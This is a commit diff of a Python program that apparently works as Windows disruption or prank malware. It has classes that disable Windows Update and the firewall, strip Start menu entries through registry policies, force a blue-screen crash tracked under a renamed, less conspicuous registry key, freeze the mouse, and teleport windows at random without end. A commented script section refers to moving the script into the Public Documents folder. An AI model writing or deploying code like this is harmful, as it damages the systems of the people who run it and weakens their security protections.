|
13 | 13 | import pyautogui
|
14 | 14 | import pygetwindow as gw
|
15 | 15 | import win32clipboard
|
| 16 | +import win32con |
| 17 | +import win32gui |
16 | 18 | import wmi
|
17 | 19 |
|
18 | 20 | # ------------------------- Constants Code ------------------------- #
|
@@ -493,12 +495,15 @@ def enable():
|
493 | 495 | print(f"Error enabling Windows Firewall or restoring access: {e}")
|
494 | 496 |
|
495 | 497 | class WindowsUpdate:
|
496 |
| - def __init__(self): |
497 |
| - self.files = [ |
498 |
| - r"C:\Windows\System32\wuapp.exe", |
499 |
| - r"C:\Windows\System32\usoclient.exe", |
500 |
| - r"C:\Windows\System32\settingshandlers.dll", |
501 |
| - ] |
| 498 | + def __init__(self, files=None): |
| 499 | + if files is None: |
| 500 | + self.files = [ |
| 501 | + r"C:\Windows\System32\wuapp.exe", |
| 502 | + r"C:\Windows\System32\usoclient.exe", |
| 503 | + r"C:\Windows\System32\settingshandlers.dll", |
| 504 | + ] |
| 505 | + else: |
| 506 | + self.files = files |
502 | 507 |
|
503 | 508 | def disable(self):
|
504 | 509 | """
|
@@ -804,10 +809,10 @@ def enable(self):
|
804 | 809 |
|
805 | 810 | class StartMenu:
|
806 | 811 | # Constants for registry modification
|
807 |
| - def __init__(self): |
| 812 | + def __init__(self, reg_value="NoStartMenuMorePrograms"): |
808 | 813 | self.KEY = reg.HKEY_CURRENT_USER
|
809 | 814 | self.REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
|
810 |
| - self.REG_VALUE = "NoStartMenuMorePrograms" |
| 815 | + self.REG_VALUE = reg_value |
811 | 816 |
|
812 | 817 | def disable(self):
|
813 | 818 | """Disables the Start button by modifying the registry."""
|
@@ -1054,9 +1059,9 @@ def enable(self):
|
1054 | 1059 | print(f"Error enabling clock: {e}")
|
1055 | 1060 |
|
1056 | 1061 | class FileContextMenu:
|
1057 |
| - def __init__(self): |
1058 |
| - self.HWND_BROADCAST = 0xFFFF |
1059 |
| - self.WM_SETTINGCHANGE = 0x1A |
| 1062 | + def __init__(self, broadcast_hex=0xFFFF, setting_change_hex=0x1A): |
| 1063 | + self.HWND_BROADCAST = broadcast_hex |
| 1064 | + self.WM_SETTINGCHANGE = setting_change_hex |
1060 | 1065 |
|
1061 | 1066 | def __broadcast_settings_change(self):
|
1062 | 1067 | # Notify Windows about changes in settings
|
@@ -1440,12 +1445,14 @@ def format(self):
|
1440 | 1445 | print(f"An error occurred: {e}")
|
1441 | 1446 |
|
1442 | 1447 | class BSOD:
|
1443 |
| - def __init__(self): |
1444 |
| - self.MAX_CRASHES = 1 |
1445 |
| - self.REGISTRY_PATH = r"SOFTWARE\CustomBSOD" |
1446 |
| - self.VALUE_NAME = "CrashCount" |
1447 |
| - self.CRASH_ERR = "Oopsie woopsie! Uwu We made a fucky wucky!! A wittle fucko boingo! The code monkeys at our headquarters are working VEWY HAWD to fix this!" |
1448 |
| - self.CRASH_CODE = 0x00069420 |
| 1448 | + def __init__(self, max_crashes=1, |
| 1449 | + crash_err="The code monkeys at our headquarters are working very hard to fix this!", |
| 1450 | + crash_code=0x00069420): |
| 1451 | + self.MAX_CRASHES = max_crashes |
| 1452 | + self.REGISTRY_PATH = r"SOFTWARE\SysBSOD" |
| 1453 | + self.VALUE_NAME = "BCC" |
| 1454 | + self.CRASH_ERR = crash_err |
| 1455 | + self.CRASH_CODE = crash_code |
1449 | 1456 |
|
1450 | 1457 | def __check_registry_and_update(self):
|
1451 | 1458 | """
|
@@ -1725,11 +1732,8 @@ def start(self):
|
1725 | 1732 | except KeyboardInterrupt:
|
1726 | 1733 | print("Mouse freeze stopped.")
|
1727 | 1734 |
|
1728 |
| - class DrunkGUI: |
| 1735 | + class CrazyGUI: |
1729 | 1736 | def __init__(self):
|
1730 |
| - # Constants for desktop manipulation |
1731 |
| - self.SPI_SETDESKWALLPAPER = 20 |
1732 |
| - self.SPI_GETDESKWALLPAPER = 0x0073 |
1733 | 1737 | # Global variable to store original window states
|
1734 | 1738 | self.original_states = {}
|
1735 | 1739 |
|
@@ -1796,20 +1800,77 @@ def __revert_gui(self):
|
1796 | 1800 | print("All changes reverted.")
|
1797 | 1801 |
|
1798 | 1802 | def start(self):
|
1799 |
| - # Start bugging threads for maximum chaos |
1800 |
| - desktop_thread = threading.Thread(target=self.__bug_desktop, daemon=True) |
1801 |
| - windows_thread = threading.Thread(target=self.__bug_windows, daemon=True) |
| 1803 | + try: |
| 1804 | + # Start bugging threads for maximum chaos |
| 1805 | + desktop_thread = threading.Thread(target=self.__bug_desktop, daemon=True) |
| 1806 | + windows_thread = threading.Thread(target=self.__bug_windows, daemon=True) |
| 1807 | + |
| 1808 | + desktop_thread.start() |
| 1809 | + windows_thread.start() |
1802 | 1810 |
|
1803 |
| - desktop_thread.start() |
1804 |
| - windows_thread.start() |
| 1811 | + while True: |
| 1812 | + time.sleep(1) |
| 1813 | + except KeyboardInterrupt: |
| 1814 | + self.__revert_gui() |
| 1815 | + |
| 1816 | + class WindowTeleport: |
| 1817 | + # Function to get screen dimensions |
| 1818 | + def __init__(self, timeout=2): |
| 1819 | + user32 = ctypes.windll.user32 |
| 1820 | + user32.SetProcessDPIAware() |
| 1821 | + self.screen_width = user32.GetSystemMetrics(0) # SM_CXSCREEN |
| 1822 | + self.screen_height = user32.GetSystemMetrics(1) # SM_CYSCREEN |
| 1823 | + self.TIMEOUT = timeout |
| 1824 | + |
| 1825 | + # Teleport windows forever |
| 1826 | + def __tp_windows_forever(self): |
| 1827 | + while True: |
| 1828 | + # Get all open windows |
| 1829 | + windows = gw.getAllWindows() |
| 1830 | + |
| 1831 | + for window in windows: |
| 1832 | + # Only teleport visible windows |
| 1833 | + if window.visible: # Use the correct attribute |
| 1834 | + # Generate random coordinates |
| 1835 | + random_x = random.randint(0, self.screen_width - 100) |
| 1836 | + random_y = random.randint(0, self.screen_height - 100) |
| 1837 | + |
| 1838 | + # Move the window to the random location |
| 1839 | + try: |
| 1840 | + win32gui.SetWindowPos( |
| 1841 | + window._hWnd, # Window handle |
| 1842 | + win32con.HWND_TOP, # Top position |
| 1843 | + random_x, |
| 1844 | + random_y, |
| 1845 | + window.width, |
| 1846 | + window.height, |
| 1847 | + win32con.SWP_NOZORDER | win32con.SWP_NOSIZE |
| 1848 | + ) |
| 1849 | + except Exception as e: |
| 1850 | + print(f"Failed to move window {window.title}: {e}") |
| 1851 | + |
| 1852 | + # Sleep for a short duration to avoid excessive CPU usage |
| 1853 | + time.sleep(self.TIMEOUT) |
| 1854 | + |
| 1855 | + # Start the teleport thread |
| 1856 | + def __thread_tp(self): |
| 1857 | + teleport_thread = threading.Thread(target=self.__tp_windows_forever, daemon=True) |
| 1858 | + teleport_thread.start() |
1805 | 1859 |
|
1806 |
| - # Run for 15 seconds, then revert |
1807 |
| - time.sleep(15) |
1808 |
| - self.__revert_gui() |
| 1860 | + def start(self): |
| 1861 | + print("Starting the teleportation thread. Press Ctrl+C to stop.") |
| 1862 | + self.__thread_tp() |
1809 | 1863 |
|
| 1864 | + # Keep the main thread alive |
| 1865 | + try: |
| 1866 | + while True: |
| 1867 | + time.sleep(1) |
| 1868 | + except KeyboardInterrupt: |
| 1869 | + print("\nExiting...") |
1810 | 1870 |
|
1811 | 1871 | # ----------------------------- Script Code ------------------------- #
|
1812 | 1872 |
|
| 1873 | + |
1813 | 1874 | """
|
1814 | 1875 | if PATH != MOVE_TO:
|
1815 | 1876 | move_script() # Move the script to the Public Documents directory
|
|
0 commit comments